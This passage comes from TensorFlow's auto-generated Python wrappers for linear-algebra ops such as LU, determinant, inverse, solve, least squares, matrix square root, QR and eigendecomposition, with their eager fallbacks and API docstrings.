graph. if output_idx_type is None: output_idx_type = _dtypes.int32 output_idx_type = _execute.make_type(output_idx_type, "output_idx_type") try: _, _, _op, _outputs = _op_def_library._apply_op_helper( "Lu", input=input, output_idx_type=output_idx_type, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( lu, (), dict(input=input, output_idx_type=output_idx_type, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T"), "output_idx_type", _op._get_attr_type("output_idx_type")) _inputs_flat = _op.inputs _execute.record_gradient( "Lu", _inputs_flat, _attrs, _result) _result = _LuOutput._make(_result) return _result Lu = tf_export("raw_ops.Lu")(_ops.to_raw_op(lu)) def lu_eager_fallback(input, output_idx_type, name, ctx): if output_idx_type is None: output_idx_type = _dtypes.int32 output_idx_type = _execute.make_type(output_idx_type, "output_idx_type") _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("T", _attr_T, "output_idx_type", output_idx_type) _result = _execute.execute(b"Lu", 2, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "Lu", _inputs_flat, _attrs, _result) _result = _LuOutput._make(_result) return _result @_dispatch.add_dispatch_list @tf_export('linalg.det', v1=['linalg.det', 'matrix_determinant']) @deprecated_endpoints('matrix_determinant') def matrix_determinant(input, name=None): r"""Computes the determinant of one or more square matrices. The input is a tensor of shape `[..., M, M]` whose inner-most 2 dimensions form square matrices. The output is a tensor containing the determinants for all input submatrices `[..., :, :]`. Args: input: A `Tensor`. Must be one of the following types: `half`, `float32`, `float64`, `complex64`, `complex128`. Shape is `[..., M, M]`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "MatrixDeterminant", name, input) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return matrix_determinant_eager_fallback( input, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( matrix_determinant, (), dict(input=input, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise # Add nodes to the TensorFlow graph. try: _, _, _op, _outputs = _op_def_library._apply_op_helper( "MatrixDeterminant", input=input, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( matrix_determinant, (), dict(input=input, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "MatrixDeterminant", _inputs_flat, _attrs, _result) _result, = _result return _result MatrixDeterminant = tf_export("raw_ops.MatrixDeterminant")(_ops.to_raw_op(matrix_determinant)) def matrix_determinant_eager_fallback(input, name, ctx): _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("T", _attr_T) _result = _execute.execute(b"MatrixDeterminant", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "MatrixDeterminant", _inputs_flat, _attrs, _result) _result, = _result return _result def matrix_exponential(input, name=None): r"""Deprecated, use python implementation tf.linalg.matrix_exponential. Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "MatrixExponential", name, input) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return matrix_exponential_eager_fallback( input, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. _, _, _op, _outputs = _op_def_library._apply_op_helper( "MatrixExponential", input=input, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "MatrixExponential", _inputs_flat, _attrs, _result) _result, = _result return _result MatrixExponential = tf_export("raw_ops.MatrixExponential")(_ops.to_raw_op(matrix_exponential)) def matrix_exponential_eager_fallback(input, name, ctx): _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("T", _attr_T) _result = _execute.execute(b"MatrixExponential", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "MatrixExponential", _inputs_flat, _attrs, _result) _result, = _result return _result @_dispatch.add_dispatch_list @tf_export('linalg.inv', v1=['linalg.inv', 'matrix_inverse']) @deprecated_endpoints('matrix_inverse') def matrix_inverse(input, adjoint=False, name=None): r"""Computes the inverse of one or more square invertible matrices or their adjoints (conjugate transposes). The input is a tensor of shape `[..., M, M]` whose inner-most 2 dimensions form square matrices. The output is a tensor of the same shape as the input containing the inverse for all input submatrices `[..., :, :]`. The op uses LU decomposition with partial pivoting to compute the inverses. If a matrix is not invertible there is no guarantee what the op does. It may detect the condition and raise an exception or it may simply return a garbage result. Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. Shape is `[..., M, M]`. adjoint: An optional `bool`. Defaults to `False`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "MatrixInverse", name, input, "adjoint", adjoint) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return matrix_inverse_eager_fallback( input, adjoint=adjoint, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( matrix_inverse, (), dict(input=input, adjoint=adjoint, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise # Add nodes to the TensorFlow graph. if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") try: _, _, _op, _outputs = _op_def_library._apply_op_helper( "MatrixInverse", input=input, adjoint=adjoint, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( matrix_inverse, (), dict(input=input, adjoint=adjoint, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("adjoint", _op._get_attr_bool("adjoint"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "MatrixInverse", _inputs_flat, _attrs, _result) _result, = _result return _result MatrixInverse = tf_export("raw_ops.MatrixInverse")(_ops.to_raw_op(matrix_inverse)) def matrix_inverse_eager_fallback(input, adjoint, name, ctx): if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("adjoint", adjoint, "T", _attr_T) _result = _execute.execute(b"MatrixInverse", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "MatrixInverse", _inputs_flat, _attrs, _result) _result, = _result return _result def matrix_logarithm(input, name=None): r"""Computes the matrix logarithm of one or more square matrices: \\(log(exp(A)) = A\\) This op is only defined for complex matrices. If A is positive-definite and real, then casting to a complex matrix, taking the logarithm and casting back to a real matrix will give the correct result. This function computes the matrix logarithm using the Schur-Parlett algorithm. Details of the algorithm can be found in Section 11.6.2 of: Nicholas J. Higham, Functions of Matrices: Theory and Computation, SIAM 2008. ISBN 978-0-898716-46-7. The input is a tensor of shape `[..., M, M]` whose inner-most 2 dimensions form square matrices. The output is a tensor of the same shape as the input containing the exponential for all input submatrices `[..., :, :]`. Args: input: A `Tensor`. Must be one of the following types: `complex64`, `complex128`. Shape is `[..., M, M]`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "MatrixLogarithm", name, input) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return matrix_logarithm_eager_fallback( input, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. _, _, _op, _outputs = _op_def_library._apply_op_helper( "MatrixLogarithm", input=input, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "MatrixLogarithm", _inputs_flat, _attrs, _result) _result, = _result return _result MatrixLogarithm = tf_export("raw_ops.MatrixLogarithm")(_ops.to_raw_op(matrix_logarithm)) def matrix_logarithm_eager_fallback(input, name, ctx): _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("T", _attr_T) _result = _execute.execute(b"MatrixLogarithm", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "MatrixLogarithm", _inputs_flat, _attrs, _result) _result, = _result return _result @_dispatch.add_dispatch_list @tf_export('linalg.solve', v1=['linalg.solve', 'matrix_solve']) @deprecated_endpoints('matrix_solve') def matrix_solve(matrix, rhs, adjoint=False, name=None): r"""Solves systems of linear equations. `Matrix` is a tensor of shape `[..., M, M]` whose inner-most 2 dimensions form square matrices. `Rhs` is a tensor of shape `[..., M, K]`. The `output` is a tensor shape `[..., M, K]`. If `adjoint` is `False` then each output matrix satisfies `matrix[..., :, :] * output[..., :, :] = rhs[..., :, :]`. If `adjoint` is `True` then each output matrix satisfies `adjoint(matrix[..., :, :]) * output[..., :, :] = rhs[..., :, :]`. Args: matrix: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. Shape is `[..., M, M]`. rhs: A `Tensor`. Must have the same type as `matrix`. Shape is `[..., M, K]`. adjoint: An optional `bool`. Defaults to `False`. Boolean indicating whether to solve with `matrix` or its (block-wise) adjoint. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `matrix`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "MatrixSolve", name, matrix, rhs, "adjoint", adjoint) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return matrix_solve_eager_fallback( matrix, rhs, adjoint=adjoint, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( matrix_solve, (), dict(matrix=matrix, rhs=rhs, adjoint=adjoint, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise # Add nodes to the TensorFlow graph. if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") try: _, _, _op, _outputs = _op_def_library._apply_op_helper( "MatrixSolve", matrix=matrix, rhs=rhs, adjoint=adjoint, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( matrix_solve, (), dict(matrix=matrix, rhs=rhs, adjoint=adjoint, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("adjoint", _op._get_attr_bool("adjoint"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "MatrixSolve", _inputs_flat, _attrs, _result) _result, = _result return _result MatrixSolve = tf_export("raw_ops.MatrixSolve")(_ops.to_raw_op(matrix_solve)) def matrix_solve_eager_fallback(matrix, rhs, adjoint, name, ctx): if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _attr_T, _inputs_T = _execute.args_to_matching_eager([matrix, rhs], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) (matrix, rhs) = _inputs_T _inputs_flat = [matrix, rhs] _attrs = ("adjoint", adjoint, "T", _attr_T) _result = _execute.execute(b"MatrixSolve", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "MatrixSolve", _inputs_flat, _attrs, _result) _result, = _result return _result def matrix_solve_ls(matrix, rhs, l2_regularizer, fast=True, name=None): r"""Solves one or more linear least-squares problems. `matrix` is a tensor of shape `[..., M, N]` whose inner-most 2 dimensions form real or complex matrices of size `[M, N]`. `Rhs` is a tensor of the same type as `matrix` and shape `[..., M, K]`. The output is a tensor shape `[..., N, K]` where each output matrix solves each of the equations `matrix[..., :, :]` * `output[..., :, :]` = `rhs[..., :, :]` in the least squares sense. We use the following notation for (complex) matrix and right-hand sides in the batch: `matrix`=\\(A \in \mathbb{C}^{m \times n}\\), `rhs`=\\(B \in \mathbb{C}^{m \times k}\\), `output`=\\(X \in \mathbb{C}^{n \times k}\\), `l2_regularizer`=\\(\lambda \in \mathbb{R}\\). If `fast` is `True`, then the solution is computed by solving the normal equations using Cholesky decomposition. Specifically, if \\(m \ge n\\) then \\(X = (A^H A + \lambda I)^{-1} A^H B\\), which solves the least-squares problem \\(X = \mathrm{argmin}_{Z \in \Re^{n \times k} } ||A Z - B||_F^2 + \lambda ||Z||_F^2\\). If \\(m \lt n\\) then `output` is computed as \\(X = A^H (A A^H + \lambda I)^{-1} B\\), which (for \\(\lambda = 0\\)) is the minimum-norm solution to the under-determined linear system, i.e. \\(X = \mathrm{argmin}_{Z \in \mathbb{C}^{n \times k} } ||Z||_F^2 \\), subject to \\(A Z = B\\). Notice that the fast path is only numerically stable when \\(A\\) is numerically full rank and has a condition number \\(\mathrm{cond}(A) \lt \frac{1}{\sqrt{\epsilon_{mach} } }\\) or \\(\lambda\\) is sufficiently large. If `fast` is `False` an algorithm based on the numerically robust complete orthogonal decomposition is used. This computes the minimum-norm least-squares solution, even when \\(A\\) is rank deficient. This path is typically 6-7 times slower than the fast path. If `fast` is `False` then `l2_regularizer` is ignored. Args: matrix: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. Shape is `[..., M, N]`. rhs: A `Tensor`. Must have the same type as `matrix`. Shape is `[..., M, K]`. l2_regularizer: A `Tensor` of type `float64`. Scalar tensor. @compatibility(numpy) Equivalent to np.linalg.lstsq @end_compatibility fast: An optional `bool`. Defaults to `True`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `matrix`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "MatrixSolveLs", name, matrix, rhs, l2_regularizer, "fast", fast) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return matrix_solve_ls_eager_fallback( matrix, rhs, l2_regularizer, fast=fast, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if fast is None: fast = True fast = _execute.make_bool(fast, "fast") _, _, _op, _outputs = _op_def_library._apply_op_helper( "MatrixSolveLs", matrix=matrix, rhs=rhs, l2_regularizer=l2_regularizer, fast=fast, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T"), "fast", _op._get_attr_bool("fast")) _inputs_flat = _op.inputs _execute.record_gradient( "MatrixSolveLs", _inputs_flat, _attrs, _result) _result, = _result return _result MatrixSolveLs = tf_export("raw_ops.MatrixSolveLs")(_ops.to_raw_op(matrix_solve_ls)) def matrix_solve_ls_eager_fallback(matrix, rhs, l2_regularizer, fast, name, ctx): if fast is None: fast = True fast = _execute.make_bool(fast, "fast") _attr_T, _inputs_T = _execute.args_to_matching_eager([matrix, rhs], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) (matrix, rhs) = _inputs_T l2_regularizer = _ops.convert_to_tensor(l2_regularizer, _dtypes.float64) _inputs_flat = [matrix, rhs, l2_regularizer] _attrs = ("T", _attr_T, "fast", fast) _result = _execute.execute(b"MatrixSolveLs", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "MatrixSolveLs", _inputs_flat, _attrs, _result) _result, = _result return _result @_dispatch.add_dispatch_list @tf_export('linalg.sqrtm', 'matrix_square_root') def matrix_square_root(input, name=None): r"""Computes the matrix square root of one or more square matrices: matmul(sqrtm(A), sqrtm(A)) = A The input matrix should be invertible. If the input matrix is real, it should have no eigenvalues which are real and negative (pairs of complex conjugate eigenvalues are allowed). The matrix square root is computed by first reducing the matrix to quasi-triangular form with the real Schur decomposition. The square root of the quasi-triangular matrix is then computed directly. Details of the algorithm can be found in: Nicholas J. Higham, "Computing real square roots of a real matrix", Linear Algebra Appl., 1987. The input is a tensor of shape `[..., M, M]` whose inner-most 2 dimensions form square matrices. The output is a tensor of the same shape as the input containing the matrix square root for all input submatrices `[..., :, :]`. Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. Shape is `[..., M, M]`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "MatrixSquareRoot", name, input) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return matrix_square_root_eager_fallback( input, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( matrix_square_root, (), dict(input=input, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise # Add nodes to the TensorFlow graph. try: _, _, _op, _outputs = _op_def_library._apply_op_helper( "MatrixSquareRoot", input=input, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( matrix_square_root, (), dict(input=input, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "MatrixSquareRoot", _inputs_flat, _attrs, _result) _result, = _result return _result MatrixSquareRoot = tf_export("raw_ops.MatrixSquareRoot")(_ops.to_raw_op(matrix_square_root)) def matrix_square_root_eager_fallback(input, name, ctx): _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("T", _attr_T) _result = _execute.execute(b"MatrixSquareRoot", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "MatrixSquareRoot", _inputs_flat, _attrs, _result) _result, = _result return _result def matrix_triangular_solve(matrix, rhs, lower=True, adjoint=False, name=None): r"""Solves systems of linear equations with upper or lower triangular matrices by backsubstitution. `matrix` is a tensor of shape `[..., M, M]` whose inner-most 2 dimensions form square matrices. If `lower` is `True` then the strictly upper triangular part of each inner-most matrix is assumed to be zero and not accessed. If `lower` is False then the strictly lower triangular part of each inner-most matrix is assumed to be zero and not accessed. `rhs` is a tensor of shape `[..., M, N]`. The output is a tensor of shape `[..., M, N]`. If `adjoint` is `True` then the innermost matrices in `output` satisfy matrix equations `matrix[..., :, :] * output[..., :, :] = rhs[..., :, :]`. If `adjoint` is `False` then the strictly then the innermost matrices in `output` satisfy matrix equations `adjoint(matrix[..., i, k]) * output[..., k, j] = rhs[..., i, j]`. Note, the batch shapes for the inputs only need to broadcast. Example: ```python a = tf.constant([[3, 0, 0, 0], [2, 1, 0, 0], [1, 0, 1, 0], [1, 1, 1, 1]], dtype=tf.float32) b = tf.constant([[4], [2], [4], [2]], dtype=tf.float32) x = tf.linalg.triangular_solve(a, b, lower=True) x # <tf.Tensor: shape=(4, 1), dtype=float32, numpy= # array([[ 1.3333334 ], # [-0.66666675], # [ 2.6666665 ], # [-1.3333331 ]], dtype=float32)> # in python3 one can use `a@x` tf.matmul(a, x) # <tf.Tensor: shape=(4, 1), dtype=float32, numpy= # array([[4. ], # [2. ], # [4. ], # [1.9999999]], dtype=float32)> ``` Args: matrix: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. Shape is `[..., M, M]`. rhs: A `Tensor`. Must have the same type as `matrix`. Shape is `[..., M, K]`. lower: An optional `bool`. Defaults to `True`. Boolean indicating whether the innermost matrices in `matrix` are lower or upper triangular. adjoint: An optional `bool`. Defaults to `False`. Boolean indicating whether to solve with `matrix` or its (block-wise) adjoint. @compatibility(numpy) Equivalent to scipy.linalg.solve_triangular @end_compatibility name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `matrix`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "MatrixTriangularSolve", name, matrix, rhs, "lower", lower, "adjoint", adjoint) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return matrix_triangular_solve_eager_fallback( matrix, rhs, lower=lower, adjoint=adjoint, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. if lower is None: lower = True lower = _execute.make_bool(lower, "lower") if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _, _, _op, _outputs = _op_def_library._apply_op_helper( "MatrixTriangularSolve", matrix=matrix, rhs=rhs, lower=lower, adjoint=adjoint, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("lower", _op._get_attr_bool("lower"), "adjoint", _op._get_attr_bool("adjoint"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "MatrixTriangularSolve", _inputs_flat, _attrs, _result) _result, = _result return _result MatrixTriangularSolve = tf_export("raw_ops.MatrixTriangularSolve")(_ops.to_raw_op(matrix_triangular_solve)) def matrix_triangular_solve_eager_fallback(matrix, rhs, lower, adjoint, name, ctx): if lower is None: lower = True lower = _execute.make_bool(lower, "lower") if adjoint is None: adjoint = False adjoint = _execute.make_bool(adjoint, "adjoint") _attr_T, _inputs_T = _execute.args_to_matching_eager([matrix, rhs], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) (matrix, rhs) = _inputs_T _inputs_flat = [matrix, rhs] _attrs = ("lower", lower, "adjoint", adjoint, "T", _attr_T) _result = _execute.execute(b"MatrixTriangularSolve", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "MatrixTriangularSolve", _inputs_flat, _attrs, _result) _result, = _result return _result _QrOutput = collections.namedtuple( "Qr", ["q", "r"]) @_dispatch.add_dispatch_list @tf_export('linalg.qr', v1=['linalg.qr', 'qr']) @deprecated_endpoints('qr') def qr(input, full_matrices=False, name=None): r"""Computes the QR decompositions of one or more matrices. Computes the QR decomposition of each inner matrix in `tensor` such that `tensor[..., :, :] = q[..., :, :] * r[..., :,:])` Currently, the gradient for the QR decomposition is well-defined only when the first `P` columns of the inner matrix are linearly independent, where `P` is the minimum of `M` and `N`, the 2 inner-most dimmensions of `tensor`. ```python # a is a tensor. # q is a tensor of orthonormal matrices. # r is a tensor of upper triangular matrices. q, r = qr(a) q_full, r_full = qr(a, full_matrices=True) ``` Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. A tensor of shape `[..., M, N]` whose inner-most 2 dimensions form matrices of size `[M, N]`. Let `P` be the minimum of `M` and `N`. full_matrices: An optional `bool`. Defaults to `False`. If true, compute full-sized `q` and `r`. If false (the default), compute only the leading `P` columns of `q`. name: A name for the operation (optional). Returns: A tuple of `Tensor` objects (q, r). q: A `Tensor`. Has the same type as `input`. r: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "Qr", name, input, "full_matrices", full_matrices) _result = _QrOutput._make(_result) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return qr_eager_fallback( input, full_matrices=full_matrices, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. except (TypeError, ValueError): result = _dispatch.dispatch( qr, (), dict(input=input, full_matrices=full_matrices, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise # Add nodes to the TensorFlow graph. if full_matrices is None: full_matrices = False full_matrices = _execute.make_bool(full_matrices, "full_matrices") try: _, _, _op, _outputs = _op_def_library._apply_op_helper( "Qr", input=input, full_matrices=full_matrices, name=name) except (TypeError, ValueError): result = _dispatch.dispatch( qr, (), dict(input=input, full_matrices=full_matrices, name=name) ) if result is not _dispatch.OpDispatcher.NOT_SUPPORTED: return result raise _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("full_matrices", _op._get_attr_bool("full_matrices"), "T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "Qr", _inputs_flat, _attrs, _result) _result = _QrOutput._make(_result) return _result Qr = tf_export("raw_ops.Qr")(_ops.to_raw_op(qr)) def qr_eager_fallback(input, full_matrices, name, ctx): if full_matrices is None: full_matrices = False full_matrices = _execute.make_bool(full_matrices, "full_matrices") _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, _dtypes.complex64, _dtypes.complex128, ]) _inputs_flat = [input] _attrs = ("full_matrices", full_matrices, "T", _attr_T) _result = _execute.execute(b"Qr", 2, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "Qr", _inputs_flat, _attrs, _result) _result = _QrOutput._make(_result) return _result def self_adjoint_eig(input, name=None): r"""Computes the Eigen Decomposition of a batch of square self-adjoint matrices. The input is a tensor of shape `[..., M, M]` whose inner-most 2 dimensions form square matrices, with the same constraints as the single matrix SelfAdjointEig. The result is a [..., M+1, M] matrix with [..., 0,:] containing the eigenvalues, and subsequent [...,1:, :] containing the eigenvectors. The eigenvalues are sorted in non-decreasing order. Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`. Shape is `[..., M, M]`. name: A name for the operation (optional). Returns: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "SelfAdjointEig", name, input) return _result except _core._NotOkStatusException as e: _ops.raise_from_not_ok_status(e, name) except _core._FallbackException: pass try: return self_adjoint_eig_eager_fallback( input, name=name, ctx=_ctx) except _core._SymbolicException: pass # Add nodes to the TensorFlow graph. # Add nodes to the TensorFlow graph. _, _, _op, _outputs = _op_def_library._apply_op_helper( "SelfAdjointEig", input=input, name=name) _result = _outputs[:] if _execute.must_record_gradient(): _attrs = ("T", _op._get_attr_type("T")) _inputs_flat = _op.inputs _execute.record_gradient( "SelfAdjointEig", _inputs_flat, _attrs, _result) _result, = _result return _result SelfAdjointEig = tf_export("raw_ops.SelfAdjointEig")(_ops.to_raw_op(self_adjoint_eig)) def self_adjoint_eig_eager_fallback(input, name, ctx): _attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float64, _dtypes.float32, _dtypes.half, ]) _inputs_flat = [input] _attrs = ("T", _attr_T) _result = _execute.execute(b"SelfAdjointEig", 1, inputs=_inputs_flat, attrs=_attrs, ctx=ctx, name=name) if _execute.must_record_gradient(): _execute.record_gradient( "SelfAdjointEig", _inputs_flat, _attrs, _result) _result, = _result return _result _SelfAdjointEigV2Output = collections.namedtuple( "SelfAdjointEigV2", ["e", "v"]) def self_adjoint_eig_v2(input, compute_v=True, name=None): r"""Computes the eigen decomposition of one or more square self-adjoint matrices. Computes the eigenvalues and (optionally) eigenvectors of each inner matrix in `input` such that `input[..., :, :] = v[..., :, :] * diag(e[..., :])`. The eigenvalues are sorted in non-decreasing order. ```python # a is a tensor. # e is a tensor of eigenvalues. # v is a tensor of eigenvectors. e, v = self_adjoint_eig(a) e = self_adjoint_eig(a, compute_v=False) ``` Args: input: A `Tensor`. Must be one of the following types: `float64`, `float32`, `half`, `complex64`, `complex128`. `Tensor` input of shape `[N, N]`. compute_v: An optional `bool`. Defaults to `True`. If `True` then eigenvectors will be computed and returned in `v`. Otherwise, only the eigenvalues will be computed. name: A name for the operation (optional). Returns: A tuple of `Tensor` objects (e, v). e: A `Tensor`. Has the same type as `input`. v: A `Tensor`. Has the same type as `input`. """ _ctx = _context._context or _context.context() tld = _ctx._thread_local_data if tld.is_eager: try: _result = pywrap_tfe.TFE_Py_FastPathExecute( _ctx, "SelfAdjointEigV2", name, input, "compute_v", compute_v) _result = _SelfAdjointEigV2Output._make(_result) return 